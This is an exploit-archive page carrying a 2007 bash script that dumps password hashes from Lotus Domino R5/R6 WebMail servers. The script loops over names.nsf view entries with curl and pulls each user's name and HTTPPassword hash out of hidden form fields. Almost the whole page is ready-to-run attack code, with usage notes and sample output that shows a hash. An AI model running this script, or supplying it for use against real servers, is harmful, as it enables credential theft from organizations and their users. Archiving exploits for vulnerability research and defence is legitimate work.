Sploitus

Lotus Domino <= R6 Webmail Remote Password Hash Dumper Exploit

seebug · 2007-02-14

Exploit Code

bash138 lines
## https://sploitus.com/exploit?id=SSV:6191
#!/bin/bash

#
# $Id: raptor_dominohash,v 1.3 2007/02/13 17:27:28 raptor Exp $
#
# raptor_dominohash - Lotus Domino R5/R6 HTTPPassword dump
# Copyright (c) 2007 Marco Ivaldi &lt;raptor@0xdeadbeef.info&gt;
#
# Lotus Domino R5 and R6 WebMail, with \&quot;Generate HTML for all fields\&quot; enabled, 
# stores sensitive data from names.nsf in hidden form fields, which allows 
# remote attackers to read the HTML source to obtain sensitive information such 
# as (1) the password hash in the HTTPPassword field, (2) the password change 
# date in the HTTPPasswordChangeDate field, (3) the client platform in the 
# ClntPltfrm field, (4) the client machine name in the ClntMachine field, and 
# (5) the client Lotus Domino release in the ClntBld field, a different 
# vulnerability than CVE-2005-2696 (CVE-2005-2428).
#
# According to testing, it\'s possible to dump all HTTPPassword hashes using the 
# $defaultview view instead of $users. This saves a considerable amount of time.
# 
# The code may require some changes to properly work with your configuration.
#
# See also:
# http://www.securiteinfo.com/outils/DominoHashBreaker.shtml
#
# Usage:
# $ ./raptor_dominohash 192.168.0.202
# [...]
# Extracting the view entries...
# Done! 656 unique entries have been found.
# Now ready to dump password hashes...
# [...]
# [http://192.168.0.202/names.nsf/$defaultview/00DA2289CC118A854925715A000611A3]
# FirstName:      Foo
# LastName:       Bar
# ShortName:      fbar
# HTTPPassword:   (355E98E7C7B59BD810ED845AD0FD2FC4)
# [...]
#
# Vulnerable platforms:
# Lotus Domino R6 Webmail [tested]
# Lotus Domino R5 Webmail [untested]
# Lotus Domino R4 Webmail? [untested]
#

# Some vars
i=1
tmp1=dominohash1.tmp
tmp2=dominohash2.tmp

# Command line
host=$1

# Local fuctions
function header() {
	echo \&quot;\&quot;
	echo \&quot;raptor_dominohash - Lotus Domino R5/R6 HTTPPassword dump\&quot;
	echo \&quot;Copyright (c) 2007 Marco Ivaldi &lt;raptor@0xdeadbeef.info&gt;\&quot;
	echo \&quot;\&quot;
}

function footer() {
	echo \&quot;\&quot;
	exit 0
}

function usage() {
	header
	echo \&quot;usage  : ./raptor_dominohash &lt;host&gt;\&quot;
	echo \&quot;example: ./raptor_dominohash 192.168.0.202\&quot;
	footer
}

function notfound() {
	header
	echo \&quot;error  : curl not found\&quot;
	footer
}

# Check if curl is there
curl=`which curl 2&gt;/dev/null`
if [ $? -ne 0 ]; then
	notfound
fi

# Input control
if [ -z \&quot;$1\&quot;  ]; then
	usage
fi

# Remove temporary files
rm -f $tmp1
rm -f $tmp2

header

# Extract the view entries
echo \&quot;Extracting the view entries...\&quot;
while :
do
	curl \&quot;http://${host}/names.nsf/$defaultview?Readviewentries&amp;Start=${i}\&quot; 2&gt;/dev/null | grep unid &gt;&gt; $tmp1

	# Check grep return value
	if [ $? -ne 0 ]; then
		break
	fi

	# Go for the next page
	i=`expr $i + 30`
	echo -ne \&quot;$i\&quot;
done

cat $tmp1 | awk -F\'unid=\&quot;\' \'{print $2}\' | awk -F\'\&quot;\' \'{print $1}\' | sort | uniq &gt; $tmp2

# Check if some view entries have been found
if [ ! -s $tmp2 ]; then
	echo \&quot;No entries found on host ${host}!\&quot;
	footer
fi
echo -ne \&quot;Done! \&quot;
echo \&quot;`wc -l ${tmp2} | awk \'{print $1}\'` unique entries have been found.\&quot;
echo \&quot;\&quot;

# Perform the hash dumping
echo \&quot;Now ready to dump password hashes...\&quot;
echo \&quot;\&quot;
sleep 4
for unid in `cat $tmp2`
do
	echo \&quot;[http://${host}/names.nsf/$defaultview/${unid}]\&quot;
	echo \&quot;\&quot;
	#curl \&quot;http://${host}/names.nsf/$defaultview/${unid}?OpenDocument\&quot; 2&gt;/dev/null | egrep \'\&quot;FullName\&quot;|\&quot;HTTPPassword\&quot;\'
	curl \&quot;http://${host}/names.nsf/$defaultview/${unid}?OpenDocument\&quot; 2&gt;/dev/null | egrep \'\&quot;FirstName\&quot;|\&quot;LastName\&quot;|\&quot;ShortName\&quot;|\&quot;HTTPPassword\&quot;\' | awk -F\'input name=\&quot;\' \'{print $2}\' | awk -F\'\&quot; type=\&quot;hidden\&quot; value=\&quot;\' \'{print $1 \&quot;:	\&quot; $2}\' | tr -d \'\&quot;&gt;\'
	echo \&quot;\&quot;
done

footer